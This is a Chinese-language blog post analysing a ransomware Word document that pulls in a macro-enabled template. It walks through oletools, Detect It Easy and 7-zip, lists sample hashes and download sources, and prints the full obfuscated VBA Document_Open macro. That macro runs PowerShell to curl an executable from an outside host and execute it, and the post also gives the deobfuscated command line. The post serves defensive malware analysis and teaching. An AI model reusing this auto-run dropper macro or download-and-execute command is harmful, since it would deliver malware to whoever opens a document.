恶意勒索Word文档模版注入分析


前言

此次是简单的分析过程,主要用于困难环境下使用手动进行分析,在根据实际情况对相关的文档进行恶意分析!那么在智能沙箱的情况下,几乎这些手动的行为都被忽略了,所以会一些手动技巧也是巩固自身的知识,不依赖沙箱等情况!

1、工具:

  • https://github.com/Hopyoprop/OLEDUMP-Python-3
  • https://github.com/decalage2/oletools/wiki/olevba
  • https://www.detect-it.ai/
  • 7-zip
  • https://gchq.github.io/CyberChef/

这里推荐一个数字取证工具包: https://mp.weixin.qq.com/s/rfs4-03tceN1hWcuU6BYNQ

2、IOC样本:

Word 样本 SHA256:ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103

勒索文本 SHA2561d9ddc7850fd9451d2c5d5cfed16de514a85f9ef285441fe53fec4ecc99f50e1 

勒索软件 SHA2560dd36a058705717a7d84622f9745b85277c37a07ad830a6648a01ef6e679324a

在这里插入图片描述
在这里插入图片描述

3、样本提取

https://tria.ge/s 下载样本需要注册,我这里直接使用谷歌进行注册,下载样本的时候会提示有解压密码 infected
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

4、恶意文档分析参考手册

已和文章进行资源绑定,需要的自行下载
1


恶意的文档执行流程

在这里插入图片描述

一、使用 OLEDUMP 和 OLEVBA 分析Word 文档

1、OlEDUMP

     工具介绍:OLEDUMP 是一个用于分析 OLE(对象链接和嵌入)文件的 Python 工具,也称为结构化存储或复合文件二进制格式。它是多个工具的软件包,包括 olevba、oleid、rtfobj 和 clsid,有助于检查和提取此类文件中的信息。
     OLE 文件广泛用于 Microsoft Office 等应用程序。例如,.doc、.xls、.ppt 等都是 OLE 文件,而最近的 .docx、.xlsx 等在 ZIP 格式中使用 XML7。
OLEDUMP 的一种常见用途是解析和转储 OLE 文件的流。它允许使用“-s”选项选择特定流,后跟流编号,并使用“-S”转储该流中的字符串。
     它还包括允许使用 YARA 规则、插件和解码器来进一步从 OLE 文件中提取和解码数据的功能。例如,它可用于从 Office 文档中提取 VBA 宏、URL 和 XOR 键。
以下是将 OLEDUMP 与 ZIP 存档中的 PE 文件一起使用的示例:“oledump.py -s 14 -D detector_ah.py RECHNUNG_vom_18122014.doc.zip”,其中 oledump 分析流 14 并应用“ah.py”解码器。从MZ和PE头可以识别嵌入文件是PE文件。

C:\Users\otsan\Desktop\OLEDUMP-Python-3-master\OLEDUMP-Python-3-master>oledump.py C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx

在这里插入图片描述
尝试提取和分析文档中的所有嵌入式对象和宏,如果没有则会返回空!

2、OLEVBA

     工具介绍:olevba 是一个脚本,用于解析 OLE 和 OpenXML 文件,例如 MS Office 文档(例如 Word、Excel),检测 VBA 宏,以明文形式提取其源代码,并检测与安全相关的模式,例如自动执行宏、可疑 VBA恶意软件使用的关键字、反沙箱和反虚拟化技术以及潜在的IOC(IP 地址、URL、可执行文件名等)。它还检测和解码几种常见的混淆方法,包括 Hex 编码、StrReverse、Base64、Dridex、VBA 表达式,并从解码的字符串中提取 IOC。 Excel 和 SLK 文件也支持 XLM/Excel 4 宏。

C:\Users\otsan\Desktop\OLEDUMP-Python-3-master\OLEDUMP-Python-3-master>olevba C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx
Type: OpenXML
No VBA or XLM macros found.

在这里插入图片描述

No VBA or XLM macros found.这意味着该文档中可能没有包含任何恶意的宏代码。olevba 工具主要用于检测文档中的恶意宏代码,如果没有检测到宏代码,则可能该文档不包含恶意内容,或者恶意代码采用了其他形式进行隐藏。

二、使用 Detect-It Easy 识别文件类型-简单

     工具介绍:Detect It Easy 是一款便携式开源加壳标识符实用程序,用于快速定义文件类型等。它配备了一个简单的界面,可以通过许多其他工具来帮助轻松处理。例如,您可以轻松地导入、导出、提取带有清单和版本的资源,使用十六进制反汇编器,执行各种相关搜索(ANSI、链接、UNICODE 和加密),并在易于阅读的图表上查看熵计算百分比率。Detect It Easy 可以轻松地从内容中识别 200 多种文件类型。
在这里插入图片描述

三、使用 7-zip 探索 OOXML 文档并查找模板注入

     使用 7-Zip 打开 OOXML 文件(如 docx、xlsx、pptx)后,可以看到该文件是一个 ZIP 容器,其中包含了多个 XML 和文本文件 。要查找模板注入,你需要找到包含内容的 document.xml 文件 。在该文件中,你可以查找 <w:template> 标签,该标签用于指定文档模板 。如果该标签存在,则说明该文档是从模板生成的 。

     需要注意的是,OOXML 文件格式较为复杂,直接查找和解析 XML 标签可能会存在一定的困难 。因此,你可以使用 Apache POI 库来读取和解析 OOXML 文件 ,该库可以轻松地获取文档的内容、样式、格式等信息 。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、分析启用宏的模板+反混淆宏代码

在这里插入图片描述
在这里插入图片描述

C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected>olevba fgi5k8.dotm
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: fgi5k8.dotm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
lxj1wl5o = "dnw64"
olekMnaj2d = "Fle3kmg9a76z"
erxi = Chr(Asc(Left(Application.Path, 1)) - 15)
hbi6omfd1 = Replace(":7dnw64C" & lxj1wl5o & "4D", "dnw64", "2")
Set knbiyq = GetObject("new" & hbi6omfd1 & "D5-D70A-438B-8A42-984" & CLng(1.9) & erxi & "B88AFB" & CInt(8.1))
lxj1wl5o = "C:\Users\Pub"
garz = lxj1wl5o & "lic\cw3fd.exe"
g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")
knbiyq.exec g6lfk4m304sk
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|GetObject           |May get an OLE object with a running instance|
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |cw3fd.exe           |Executable file name                         |
+----------+--------------------+---------------------------------------------+

这段VBA宏代码是Microsoft Word文档的自动执行宏,但其中包含了一些恶意的行为迹象,逐行分析代码的功能:

  1. lxj1wl5o = "dnw64":给变量 lxj1wl5o 赋值为字符串 “dnw64”。
  2. olekMnaj2d = "Fle3kmg9a76z":给变量 olekMnaj2d 赋值为字符串 “Fle3kmg9a76z”。
  3. erxi = Chr(Asc(Left(Application.Path, 1)) - 15):根据当前应用程序的路径,获取其第一个字符的 ASCII 码,然后减去 15 并转换为字符。这个值将被用于后续操作。
  4. hbi6omfd1 = Replace(":7dnw64C" & lxj1wl5o & "4D", "dnw64", "2"):将字符串 “:7dnw64C” 后接 lxj1wl5o 变量的值 “dnw64” 替换为 “2”,然后将结果赋给 hbi6omfd1 变量。
  5. Set knbiyq = GetObject("new" & hbi6omfd1 & "D5-D70A-438B-8A42-984" & CLng(1.9) & erxi & "B88AFB" & CInt(8.1)):通过 GetObject 函数获取一个对象,对象名称是由前述变量拼接而成的。这可能是用来调用某种外部对象或程序。
  6. lxj1wl5o = "C:\Users\Pub":将 lxj1wl5o 变量重新赋值为 “C:\Users\Pub”。
  7. garz = lxj1wl5o & "lic\cw3fd.exe":拼接字符串,将 “C:\Users\Pub\lic\cw3fd.exe” 路径赋给 garz 变量。
  8. g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e"):构建一个命令字符串,并将其中的 “lxj1wl5o” 替换为 “e”。
  9. knbiyq.exec g6lfk4m304sk:执行上述命令字符串。

在这里插入图片描述

g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")

在这里插入图片描述

g6lfk4m304sk = Replace("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://learndash.825testsites.com/b/abc.e^xe -o " & garz & ";" & garz, "e", "e")

结束语:

在这篇文章中,我们使用了一系列工具和技术来分析恶意的 Word 文档。首先,我们使用了 OLEDUMP 和 OLEVBA 工具来检测文档中是否包含恶意的宏代码。然后,我们使用 Detect-It Easy 来识别文件类型,确认文档的类型。接着,我们使用 7-Zip 探索 OOXML 文档,查找是否存在模板注入。最后,我们分析了启用了宏的模板,并尝试反混淆宏代码,从中发现了一些恶意行为的迹象。

通过这些分析工具和技术,我们能够更好地了解恶意文档的执行流程和行为特征,帮助我们识别和应对潜在的威胁。同时,通过手动分析的过程,我们也能够提高自己的安全意识和技能,不仅仅依赖于自动化工具,更能够在复杂的环境中进行恶意样本分析和应对。

参考:

  • https://quentinkaiser.be/reversing/security/malware/macros/2017/01/29/macro-doc-analysis/
  • https://infosecwriteups.com/maldoc101-malicious-macros-analysis-with-oletools-8be3cda84544
  • https://www.joesandbox.com/analysis/search?q=ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103
  • https://www.virustotal.com/gui/file/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/detection
  • https://bazaar.abuse.ch/sample/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/
  • https://bufferzonesecurity.com/the-beginners-guide-to-ooxml-malware-reverse-engineering-part-1/
  • 9
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

David_Jou

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值